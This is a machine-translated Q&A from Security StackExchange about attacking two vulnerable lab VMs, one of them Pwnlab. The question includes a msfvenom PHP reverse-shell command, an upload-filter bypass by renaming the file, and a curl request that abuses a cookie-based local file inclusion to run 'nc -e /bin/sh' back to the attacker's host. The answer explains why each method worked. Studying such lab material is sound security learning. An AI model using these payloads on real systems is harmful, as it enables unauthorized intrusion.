我最近做了两种不同的可攻击VM,在阅读完演练之后,我不得不采取两种不同的方法。
它很简单,我可以获得登录凭证到网站,并上传一个For反向外壳。我在脚本中使用msfvenom:
msfvenom -p php/meterpreter/reverse_tcp LHOST=xxx.xxx.x.xxx LPORT=xxxx -f raw > shell.php
我不得不将脚本从shell.php
重命名为shell.php.png
,因为该站点只允许我上传图片。上传脚本后,我找到图片/脚本的url,在攻击机器上设置netcat侦听器,然后使用脚本访问页面,这足以在目标和攻击者之间建立连接。
<#>It在Pwnlab上建立连接要困难得多。
再次,我获得了登录访问网站的上传页面。我尝试上传相同的反向shell脚本,但在设置netcat侦听器后无法访问。
最终,我要做的是上传一个php后门脚本:
(/usr/share/webshells/php/simple-backdoor.php)
然后,我不得不利用index.php页面上的以下漏洞,该漏洞允许注入lang
cookie。
if (isset($_COOKIE['lang']))
{
include("lang/".$_COOKIE['lang']);
}
然后,我使用下面的curl查询将上传的php后门页面传递给lang变量,然后将netcat传递到我的攻击机器,我已经设置该机器来侦听连接。
curl --output - -b lang=../upload/6a8c0c37efded4d620a5c59990f07b90.png http://xxx.xxx.xxx.xxx/index.php?cmd=/bin/nc+-e+/bin/sh+xxx.xxx.xxx.xxx+xxxx
有人能解释一下为什么在一个实例中建立一个反向外壳而在另一个实例中建立更多的壳是如此容易吗?在Pwnlab的幕后究竟发生了什么,以至于用上传的反向shell脚本访问URL并不有效,但是用PHP后门利用lang变量就足够了?
我认为您只需要有很多工具可供您使用,并一直尝试,直到某些东西成功,但这将有助于有一个概念,为什么一种方法工作,而另一种方法不工作。
发布于 2020-06-21 05:22:57
一般说来,区别似乎是,一台服务器将任何请求的(或至少上传的)文件视为PHP代码--至少如果它实际上包含PHP代码--而另一台服务器在请求时将上传的文件视为图像,因此您必须找到另一种方法使服务器将其视为代码。
第一个站点愿意将上传的文件作为代码来处理,尽管它应该只是一个图像。不管出于什么原因--也许它用lib魔术检查了该文件,也许它将它存储在一个假定只包含代码的目录中,也许是其他什么原因--当您请求该文件时,服务器将其解析为代码并执行它,而不是将其作为图像处理,并将其作为静态内容提供。
第二个站点的“玩具样”漏洞要小得多。当用户只是请求文件时,它并没有将上传的文件视为代码;我想,如果您试图请求文件,您只需使用Content-Type: image/png
获得响应,而实际内容是上传的PHP吗?服务器没有尝试执行它,因为它(错误地)将文件(可能是通过扩展名,可能是通过其他方式)标识为图像。但是,服务器还存在一个额外的漏洞,即攻击者--可控的本地文件包含。PHP中的include
函数将任何指定的文件作为PHP源,加载和执行它,而不管它的扩展名如何。因此,尽管您必须请求一个实际的page (index.php)来调用PHP,但是您可以告诉它“嘿,把我上传的这个‘图像’也当作源代码处理”,并在服务器上获得代码执行。
https://security.stackexchange.com/questions/233564
复制相似问题